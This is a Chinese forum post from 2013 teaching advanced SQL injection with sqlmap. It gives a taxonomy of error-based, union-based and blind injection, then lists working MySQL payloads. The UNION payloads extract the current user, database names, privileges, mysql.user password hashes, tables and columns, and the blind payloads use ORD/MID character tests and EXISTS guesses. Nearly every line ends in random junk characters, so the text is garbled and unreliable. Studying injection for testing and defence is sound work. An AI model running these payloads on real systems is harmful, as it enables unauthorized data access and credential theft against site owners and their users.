找回密码
 立即注册
查看: 3320|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。! C9 M& Z. n$ {4 `1 x' [, f

  w1 Z! _9 q7 c这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表4 S/ M$ p! o2 P. J7 n% y" _3 V
3 c1 e  G8 ~* E+ f; V
分类标准        分类        备注1 \( n9 H; ?3 D, y
按字段类型        整型注入,字符型注入          `# e. n! J' ?" _  U# j
按出现的位置        get注入,post注入,cookie注入,http header注入       
  c; @9 x' o! T, }然而高级注入是这样的* Y$ Q- W, O  r0 u* L3 ^! a
0 @$ p5 U9 L* {) Z
高级注入分类        条件
0 h, ^6 B( @5 Rerror-based sql        数据库的错误回显可以返回,存在数据库,表结构& E4 l& q. l/ v6 d& ~; L  w
union-based sql        能够使用union,存在数据库,表结构5 v& e5 g5 A: ?  ]" Q. |) a
blind sql        存在注入
, I+ x9 B7 v' q我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
" F+ K  [; S: W5 } & P1 Y& E2 l% B( G. C
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火6 C. g6 M0 O; S& }6 h( ]  k

$ H" x3 {; _+ b* r0 F0 Z  {附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
) R' c7 e7 A2 w8 e7 U   p) j; S( k2 b- k2 i- ~& m" }
这里用mysql说明
  B5 t" k( F* |% D6 D: ?  \
+ ?# U1 n, a2 G! Z. N4 se注入坛子里很多了,请看戳我或者再戳我, W7 B2 E3 N4 N2 Q" r" \

$ ?2 E( l7 n' b! Q! M1 Mu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
- ^0 ~8 K' }9 u- t5 v 9 z2 C! }$ s7 S# u, Z
获取当前数据库用户名
& k& ~8 V8 R, U- a + m* V# S) B# U( `8 W! G( M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
* F3 X2 i! T$ c" VAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
) M8 E: F+ I) F3 B/ PL, NULL#
5 Z& q, a" z+ t4 X" R" X, w- d/ ~; O注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
4 o5 ]8 |: E5 x  @+ l2 ?
! B6 b0 l  p5 [: c2 c获取数据库名
- Y! {. l# I! d" T( V: L1 `  s 1 a+ N( h! G7 n: c1 @+ t
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#! O; ?( I' @& w4 I) x$ w! r
获取所有用户名* O: S1 }6 S, C- n$ g

2 ~! Z/ ^7 J$ @8 l$ f- iUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#. H  `. G& ]. O) k% p* s
查看当前用户权限8 Y3 M7 t) r  E( K. O& V' n
$ t( d* {0 ]  h9 [+ t* @: `* H
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#  t1 @: G- c" Q3 v% x4 l/ F1 x
尝试获取密码,当然需要有能读mysql数据库的权限( h2 Y6 E  Z6 J+ l" t! I
: _4 V, G2 v3 N  L; T9 n6 B
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
! ?+ N# D! {9 d- D" q% r8 @: z; b3 Z3 q获取表名,limit什么的自己搞啦6 t( Y1 V# ~4 b, E; ]; F0 G4 [

& t% S. i4 u  K) eUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#8 ?* R8 h3 n# }" H2 B% e1 [! ~
获取字段名及其类型5 r1 d: Q1 E, F* l; q- i6 _9 u
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
. l$ u1 p6 W# k " r, J. s' C7 ?8 ^5 p' y9 P$ f
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。- W! i- \$ \8 ]1 b

: P) f* H. h- F, V如:
5 ~: L# \1 f# f" ]! x* Q5 i" D, g获取当前用户名9 G; d1 t4 v3 t$ F7 A, o; o

+ ?4 e0 Y. D' o0 M  d6 M& ^AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1167 ]6 g* f8 U7 ^3 h5 M" E- l' e
获取当前数据库
! c, U4 o* V5 D & X# a/ |8 x' v( |/ ^9 j' O
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
$ V# }+ K5 `) m& n  w& L获取表名
2 C% g: a3 }1 {$ T) V7 q* ~9 [
8 j: t/ G+ q: A, n( t( JAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
+ _5 q7 m9 q' w  h$ z获取字段名及其类型和爆内容就不说了,改改上面的就可以了。& R- B9 Q' q1 e9 v5 J* F. T; F7 V
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
  p/ G$ J/ W7 `; }爆表- J' h! K/ }" |, j& y7 c" L" x5 P

9 Y( A; c7 c" a. s2 K8 nAND EXISTS(select * from table)
; r. i8 c3 f# y# m- M* M& N爆字段" M( R2 u7 i$ b' V8 F

5 X* t, g4 n, B1 f& ^; q  {* C6 bAND EXISTS(select pwd from table)
8 o* J% Q" `0 R盲注的变化就比较多了,由于篇幅,只是举个例子而已。
9 U  [* s. x5 W0 y1 O, J8 A
4 k) R* Z5 o  U4 e+ }. P本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。5 L+ _2 b4 p" I" e& r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表